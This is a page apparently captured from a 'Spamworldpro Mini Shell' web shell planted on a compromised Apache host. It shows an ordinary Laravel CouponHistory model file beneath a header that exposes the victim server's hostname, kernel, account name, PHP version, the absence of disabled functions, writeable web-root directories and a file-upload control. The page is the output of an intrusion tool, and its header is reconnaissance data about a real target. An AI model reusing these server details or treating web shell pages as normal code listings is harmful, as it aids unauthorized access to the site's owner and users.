Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.thebrownbagmedia.com 4.18.0-553.34.1.el8_10.x86_64 #1 SMP Wed Jan 8 09:40:06 EST 2025 x86_64
User : topnotchcv ( 1029)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/topnotchcv/public_html/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/topnotchcv/public_html/app/Models/CouponHistory.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class CouponHistory extends Model
{
    use HasFactory;

    protected $fillable = [
        'coupon',
        'package',
        'user_id',
        'date',
    ];

    public function coupons()
    {
        return $this->hasOne('App\Models\Coupon', 'id', 'coupon');
    }

    public function pakages()
    {
        return $this->hasOne('App\Models\Subscription', 'id', 'package');
    }

    public function users()
    {
        return $this->hasOne('App\Models\User', 'id', 'user_id');
    }

    public static function couponData($data)
    {
        $coupons = Coupon::where('code', $data['coupon'])->first();
        $couponHistory = new CouponHistory();
        $couponHistory->coupon = $coupons->id;
        $couponHistory->package = $data['package'];
        $couponHistory->user_id = \Auth::user()->id;
        $couponHistory->date = date('Y-m-d');
        $couponHistory->save();
        $usedCoupun = $coupons->usedCoupon();
        if ($coupons->limit <= $usedCoupun) {
            $coupons->status = 0;
            $coupons->save();
        }
    }
}

Spamworldpro Mini